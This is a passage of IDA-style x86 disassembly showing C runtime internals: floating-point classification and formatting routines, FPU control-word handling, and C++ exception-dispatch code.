R O U T I N E ======================================= sub_41A4EC proc near ; CODE XREF: sub_41A43E+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43A168 loc_41A4F3: ; CODE XREF: sub_41A4EC+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41A509 add eax, 8 inc ecx cmp eax, offset dbl_43A240 jl short loc_41A4F3 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A509: ; CODE XREF: sub_41A4EC+Dj mov eax, off_43A16C[ecx*8] retn sub_41A4EC endp ; =============== S U B R O U T I N E ======================================= sub_41A511 proc near ; CODE XREF: sub_419EDC+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41A51D push 5 jmp short loc_41A533 ; --------------------------------------------------------------------------- loc_41A51D: ; CODE XREF: sub_41A511+6j test al, 8 jz short loc_41A525 push 1 jmp short loc_41A533 ; --------------------------------------------------------------------------- loc_41A525: ; CODE XREF: sub_41A511+Ej test al, 4 jz short loc_41A52D push 2 jmp short loc_41A533 ; --------------------------------------------------------------------------- loc_41A52D: ; CODE XREF: sub_41A511+16j test al, 1 jz short loc_41A535 push 3 loc_41A533: ; CODE XREF: sub_41A511+Aj ; sub_41A511+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41A535: ; CODE XREF: sub_41A511+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41A511 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A53E(double) sub_41A53E proc near ; CODE XREF: sub_415D04:loc_415D8Ap ; sub_415E4B:loc_415ED1p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41A53E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A550(double,int) sub_41A550 proc near ; CODE XREF: sub_41A5D3+82p ; sub_41A5D3+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41A550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_415D04+31p ; sub_415E4B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41A590 cmp [ebp+arg_0], edx jnz short loc_41A5A2 push 1 jmp short loc_41A5CC ; --------------------------------------------------------------------------- loc_41A590: ; CODE XREF: sub_41A579+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41A5A2 cmp [ebp+arg_0], edx jnz short loc_41A5A2 push 2 jmp short loc_41A5CC ; --------------------------------------------------------------------------- loc_41A5A2: ; CODE XREF: sub_41A579+11j ; sub_41A579+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41A5B5 push 3 jmp short loc_41A5CC ; --------------------------------------------------------------------------- loc_41A5B5: ; CODE XREF: sub_41A579+36j cmp cx, 7FF0h jnz short loc_41A5CF test [ebp+arg_4], 7FFFFh jnz short loc_41A5CA cmp [ebp+arg_0], edx jz short loc_41A5CF loc_41A5CA: ; CODE XREF: sub_41A579+4Aj push 4 loc_41A5CC: ; CODE XREF: sub_41A579+15j ; sub_41A579+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41A5CF: ; CODE XREF: sub_41A579+41j ; sub_41A579+4Fj xor eax, eax pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A5D3(double,int) sub_41A5D3 proc near ; CODE XREF: sub_41A227+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_4217E0 push esi fnstsw ax sahf jnz short loc_41A5F3 fldz xor esi, esi fstp [ebp+var_8] jmp loc_41A689 ; --------------------------------------------------------------------------- loc_41A5F3: ; CODE XREF: sub_41A5D3+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41A662 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41A60B cmp dword ptr [ebp+arg_0], ecx jz short loc_41A662 loc_41A60B: ; CODE XREF: sub_41A5D3+31j fld [ebp+arg_0] fcomp dbl_4217E0 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41A623 push 1 pop eax jmp short loc_41A625 ; --------------------------------------------------------------------------- loc_41A623: ; CODE XREF: sub_41A5D3+49j xor eax, eax loc_41A625: ; CODE XREF: sub_41A5D3+4Ej ; sub_41A5D3+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41A63E shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41A638 or dword ptr [ebp+arg_0+4], 1 loc_41A638: ; CODE XREF: sub_41A5D3+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41A625 ; --------------------------------------------------------------------------- loc_41A63E: ; CODE XREF: sub_41A5D3+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41A64C or byte ptr [ebp+arg_0+7], 80h loc_41A64C: ; CODE XREF: sub_41A5D3+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41A550 fstp [ebp+var_8] add esp, 0Ch jmp short loc_41A689 ; --------------------------------------------------------------------------- loc_41A662: ; CODE XREF: sub_41A5D3+28j ; sub_41A5D3+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41A550 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41A689: ; CODE XREF: sub_41A5D3+1Bj ; sub_41A5D3+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41A5D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A694 proc near ; CODE XREF: sub_419F74+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41A694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6A2 proc near ; CODE XREF: sub_419F74+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41A6A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6B1 proc near ; CODE XREF: sub_415D04+13p ; sub_415D04+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41A6B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6D4 proc near ; CODE XREF: sub_41A227+1Dp ; sub_41A227+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41A6EB fld tbyte_43A268 fistp [ebp+arg_0] wait loc_41A6EB: ; CODE XREF: sub_41A6D4+Bj test cl, 8 jz short loc_41A700 fstsw ax fld tbyte_43A268 fstp [ebp+var_8] wait fstsw ax loc_41A700: ; CODE XREF: sub_41A6D4+1Aj test cl, 10h jz short loc_41A70F fld tbyte_43A274 fstp [ebp+var_8] wait loc_41A70F: ; CODE XREF: sub_41A6D4+2Fj test cl, 4 jz short loc_41A71D fldz fld1 fdivrp st(1), st fstp st wait loc_41A71D: ; CODE XREF: sub_41A6D4+3Ej test cl, 20h jz short locret_41A728 fldpi fstp [ebp+var_8] wait locret_41A728: ; CODE XREF: sub_41A6D4+4Cj leave retn sub_41A6D4 endp ; =============== S U B R O U T I N E ======================================= sub_41A72A proc near ; CODE XREF: sub_415DD3+Fp push 30000h push 10000h call sub_41E0E7 pop ecx pop ecx retn sub_41A72A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A73C proc near ; CODE XREF: sub_41A77A:loc_41A79Ej var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_4217F0 fstp [ebp+var_8] fld dbl_4217E8 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_421670 fnstsw ax sahf jbe short loc_41A776 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41A776: ; CODE XREF: sub_41A73C+33j xor eax, eax leave retn sub_41A73C endp ; =============== S U B R O U T I N E ======================================= sub_41A77A proc near ; CODE XREF: sub_415DD3+5p push offset aKernel32 ; "KERNEL32" call dword_4210C8 ; GetModuleHandleA test eax, eax jz short loc_41A79E push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4210C4 ; GetProcAddress test eax, eax jz short loc_41A79E push 0 call eax ; sub_415DD3 retn ; --------------------------------------------------------------------------- loc_41A79E: ; CODE XREF: sub_41A77A+Dj ; sub_41A77A+1Dj jmp sub_41A73C sub_41A77A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A7A3 proc near ; CODE XREF: sub_417D6C+3CBp ; DATA XREF: sub_415DEB+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_417033 cmp eax, 65h pop ecx jz short loc_41A7E3 loc_41A7B7: ; CODE XREF: sub_41A7A3+3Ej inc esi cmp dword_43812C, 1 jle short loc_41A7D0 movsx eax, byte ptr [esi] push 4 push eax call sub_418576 pop ecx pop ecx jmp short loc_41A7DF ; --------------------------------------------------------------------------- loc_41A7D0: ; CODE XREF: sub_41A7A3+1Cj movsx eax, byte ptr [esi] mov ecx, off_437F20 mov al, [ecx+eax*2] and eax, 4 loc_41A7DF: ; CODE XREF: sub_41A7A3+2Bj test eax, eax jnz short loc_41A7B7 loc_41A7E3: ; CODE XREF: sub_41A7A3+12j mov cl, byte_438130 mov al, [esi] mov [esi], cl inc esi loc_41A7EE: ; CODE XREF: sub_41A7A3+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41A7EE pop esi retn sub_41A7A3 endp ; =============== S U B R O U T I N E ======================================= sub_41A7FD proc near ; CODE XREF: sub_417D6C+3E2p ; DATA XREF: sub_415DEB+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_438130 mov cl, [eax] test cl, cl jz short loc_41A819 loc_41A80D: ; CODE XREF: sub_41A7FD+1Aj cmp cl, dl jz short loc_41A819 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41A80D loc_41A819: ; CODE XREF: sub_41A7FD+Ej ; sub_41A7FD+12j mov cl, [eax] inc eax test cl, cl jz short locret_41A84A loc_41A820: ; CODE XREF: sub_41A7FD+34j mov cl, [eax] test cl, cl jz short loc_41A833 cmp cl, 65h jz short loc_41A833 cmp cl, 45h jz short loc_41A833 inc eax jmp short loc_41A820 ; --------------------------------------------------------------------------- loc_41A833: ; CODE XREF: sub_41A7FD+27j ; sub_41A7FD+2Cj ... mov ecx, eax loc_41A835: ; CODE XREF: sub_41A7FD+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41A835 cmp [eax], dl jnz short loc_41A840 dec eax loc_41A840: ; CODE XREF: sub_41A7FD+40j ; sub_41A7FD+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41A840 locret_41A84A: ; CODE XREF: sub_41A7FD+21j retn sub_41A7FD endp ; =============== S U B R O U T I N E ======================================= sub_41A84B proc near ; DATA XREF: sub_415DEB+28o ; seg001:off_43A290o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_4217E0 fnstsw ax sahf jb short loc_41A860 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A860: ; CODE XREF: sub_41A84B+Fj xor eax, eax retn sub_41A84B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A863 proc near ; CODE XREF: sub_41B605+430p ; DATA XREF: sub_415DEB+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41A88C lea eax, [ebp+var_8] push eax call sub_41E5AA mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41A88C: ; CODE XREF: sub_41A863+Cj lea eax, [ebp+arg_8] push eax call sub_41E5D7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41A863 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8A1 proc near ; CODE XREF: sub_41AB1E+17p ; sub_41AB68+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_46B6A4, 0 push ebx push esi jz short loc_41A8D6 mov ebx, [ebp+arg_8] mov eax, dword_46B6A0 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41ABB9 pop ecx pop ecx jmp short loc_41A90E ; --------------------------------------------------------------------------- loc_41A8D6: ; CODE XREF: sub_41A8A1+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41E67B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41E604 add esp, 14h loc_41A90E: ; CODE XREF: sub_41A8A1+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41A91A mov byte ptr [eax], 2Dh inc eax loc_41A91A: ; CODE XREF: sub_41A8A1+73j test ebx, ebx jle short loc_41A932 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_438130 mov eax, edi pop edi mov [eax], cl loc_41A932: ; CODE XREF: sub_41A8A1+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_46B6A4, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_415A20 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41A959 mov byte ptr [ecx], 45h loc_41A959: ; CODE XREF: sub_41A8A1+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41A99E mov ebx, [esi+4] dec ebx jns short loc_41A96D neg ebx mov byte ptr [ecx], 2Dh loc_41A96D: ; CODE XREF: sub_41A8A1+C5j inc ecx cmp ebx, 64h jl short loc_41A984 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A984: ; CODE XREF: sub_41A8A1+D0j inc ecx cmp ebx, 0Ah jl short loc_41A99B mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A99B: ; CODE XREF: sub_41A8A1+E7j add [ecx+1], bl loc_41A99E: ; CODE XREF: sub_41A8A1+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41A8A1 endp ; =============== S U B R O U T I N E ======================================= sub_41A9A5 proc near ; CODE XREF: sub_41AB45+13p ; sub_41AB68+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_46B6A4, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41A9E0 mov eax, dword_46B6A8 mov ebx, [esp+10h+arg_8] mov esi, dword_46B6A0 cmp eax, ebx jnz short loc_41AA10 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41AA10 ; --------------------------------------------------------------------------- loc_41A9E0: ; CODE XREF: sub_41A9A5+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41E67B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41E604 add esp, 14h loc_41AA10: ; CODE XREF: sub_41A9A5+22j ; sub_41A9A5+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41AA1E mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41AA1E: ; CODE XREF: sub_41A9A5+70j mov eax, [esi+4] test eax, eax jg short loc_41AA35 push 1 push edi call sub_41ABB9 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41AA37 ; --------------------------------------------------------------------------- loc_41AA35: ; CODE XREF: sub_41A9A5+7Ej add edi, eax loc_41AA37: ; CODE XREF: sub_41A9A5+8Ej test ebx, ebx jle short loc_41AA7C push 1 push edi call sub_41ABB9 mov al, byte_438130 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41AA7C cmp byte_46B6A4, 0 jz short loc_41AA61 neg esi jmp short loc_41AA67 ; --------------------------------------------------------------------------- loc_41AA61: ; CODE XREF: sub_41A9A5+B6j neg esi cmp ebx, esi jl short loc_41AA69 loc_41AA67: ; CODE XREF: sub_41A9A5+BAj mov ebx, esi loc_41AA69: ; CODE XREF: sub_41A9A5+C0j push ebx push edi call sub_41ABB9 push ebx push 30h push edi call sub_415390 add esp, 14h loc_41AA7C: ; CODE XREF: sub_41A9A5+94j ; sub_41A9A5+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41A9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA83 proc near ; CODE XREF: sub_41AB68+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41E67B mov dword_46B6A0, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_46B6A8, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41E604 mov eax, dword_46B6A0 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_46B6A8, ecx setl cl mov byte_46B6AC, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_46B6A8, eax jl short loc_41AB09 cmp eax, ebx jge short loc_41AB09 test cl, cl jz short loc_41AAFA loc_41AAF0: ; CODE XREF: sub_41AA83+72j mov al, [esi] inc esi test al, al jnz short loc_41AAF0 and [esi-2], al loc_41AAFA: ; CODE XREF: sub_41AA83+6Bj push ebx push [ebp+arg_4] push edi call sub_41AB45 add esp, 0Ch jmp short loc_41AB19 ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41AA83+63j ; sub_41AA83+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41AB1E add esp, 10h loc_41AB19: ; CODE XREF: sub_41AA83+84j pop edi pop esi pop ebx pop ebp retn sub_41AA83 endp ; =============== S U B R O U T I N E ======================================= sub_41AB1E proc near ; CODE XREF: sub_41AA83+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_46B6A4, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A8A1 and byte_46B6A4, 0 add esp, 10h retn sub_41AB1E endp ; =============== S U B R O U T I N E ======================================= sub_41AB45 proc near ; CODE XREF: sub_41AA83+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_46B6A4, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41A9A5 and byte_46B6A4, 0 add esp, 0Ch retn sub_41AB45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB68 proc near ; CODE XREF: sub_417D6C+3AAp ; DATA XREF: sub_415DEBo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41ABA3 cmp [ebp+arg_8], 45h jz short loc_41ABA3 cmp [ebp+arg_8], 66h jnz short loc_41AB90 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A9A5 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41AB90: ; CODE XREF: sub_41AB68+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41AA83 jmp short loc_41ABB4 ; --------------------------------------------------------------------------- loc_41ABA3: ; CODE XREF: sub_41AB68+7j ; sub_41AB68+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A8A1 loc_41ABB4: ; CODE XREF: sub_41AB68+39j add esp, 10h pop ebp retn sub_41AB68 endp ; =============== S U B R O U T I N E ======================================= sub_41ABB9 proc near ; CODE XREF: sub_41A8A1+2Cp ; sub_41A9A5+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41ABDC push esi mov esi, [esp+8+arg_0] push esi call sub_415B10 inc eax push eax push esi add esi, edi push esi call sub_416320 add esp, 10h pop esi loc_41ABDC: ; CODE XREF: sub_41ABB9+7j pop edi retn sub_41ABB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABDE proc near ; CODE XREF: seg001:00415FCCp ; sub_416035+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41ABF4 call sub_41B482 loc_41ABF4: ; CODE XREF: sub_41ABDE+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41AC1C cmp dword ptr [esi+4], 0 jz short loc_41AC72 cmp [ebp+arg_14], 0 jnz short loc_41AC72 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41AF25 add esp, 10h jmp short loc_41AC72 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: sub_41ABDE+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41AC72 cmp dword ptr [eax], 0E06D7363h jnz short loc_41AC56 cmp [eax+14h], edi jbe short loc_41AC56 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41AC56 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41AC75 ; --------------------------------------------------------------------------- loc_41AC56: ; CODE XREF: sub_41ABDE+4Aj ; sub_41ABDE+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41AC79 add esp, 20h loc_41AC72: ; CODE XREF: sub_41ABDE+23j ; sub_41ABDE+29j ... push 1 pop eax loc_41AC75: ; CODE XREF: sub_41ABDE+76j pop edi pop esi pop ebp retn sub_41ABDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC79 proc near ; CODE XREF: sub_41ABDE+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41AC99 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41AC9E loc_41AC99: ; CODE XREF: sub_41AC79+16j call sub_41B482 loc_41AC9E: ; CODE XREF: sub_41AC79+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41ADF5 cmp dword ptr [esi+10h], 3 jnz short loc_41AD12 cmp [esi+14h], edi jnz short loc_41AD12 cmp dword ptr [esi+1Ch], 0 jnz short loc_41AD12 mov esi, dword_46B6B0 test esi, esi jz loc_41ADF0 mov eax, dword_46B6B4 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41E802 pop ecx test eax, eax pop ecx jnz short loc_41ACF4 call sub_41B482 loc_41ACF4: ; CODE XREF: sub_41AC79+74j cmp [esi], ebx jnz loc_41ADF5 cmp dword ptr [esi+10h], 3 jnz short loc_41AD12 cmp [esi+14h], edi jnz short loc_41AD12 cmp dword ptr [esi+1Ch], 0 jnz short loc_41AD12 call sub_41B482 loc_41AD12: ; CODE XREF: sub_41AC79+41j ; sub_41AC79+46j ... cmp [esi], ebx jnz loc_41ADF5 cmp dword ptr [esi+10h], 3 jnz loc_41ADF5 cmp [esi+14h], edi jnz loc_41ADF5 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_416183 add esp, 14h mov ebx, eax loc_41AD49: ; CODE XREF: sub_41AC79+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41ADE0 cmp [ebx], edi jg short loc_41ADD5 cmp edi, [ebx+4] jg short loc_41ADD5 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41ADD2 loc_41AD6E: ; CODE XREF: sub_41AC79+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41AD9F loc_41AD80: ; CODE XREF: sub_41AC79+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41AEC8 add esp, 0Ch test eax, eax jnz short loc_41ADAE dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41AD80 loc_41AD9F: ; CODE XREF: sub_41AC79+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41AD6E jmp short loc_41ADD2 ; --------------------------------------------------------------------------- loc_41ADAE: ; CODE XREF: sub_41AC79+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41AFD9 add esp, 2Ch loc_41ADD2: ; CODE XREF: sub_41AC79+F3j ; sub_41AC79+133j mov edi, [ebp+var_10] loc_41ADD5: ; CODE XREF: sub_41AC79+DEj ; sub_41AC79+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41AD49 ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: sub_41AC79+D6j cmp [ebp+arg_14], 0 jz short loc_41ADF0 push 1 push esi call sub_41B34E pop ecx pop ecx loc_41ADF0: ; CODE XREF: sub_41AC79+56j ; sub_41AC79+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: sub_41AC79+37j ; sub_41AC79+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41AE1B push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41AE20 add esp, 20h jmp short loc_41ADF0 ; --------------------------------------------------------------------------- loc_41AE1B: ; CODE XREF: sub_41AC79+180j jmp sub_41B42C sub_41AC79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE20 proc near ; CODE XREF: sub_41AC79+198p var_8 = dword ptr -8 var_4 = dword ptr -4 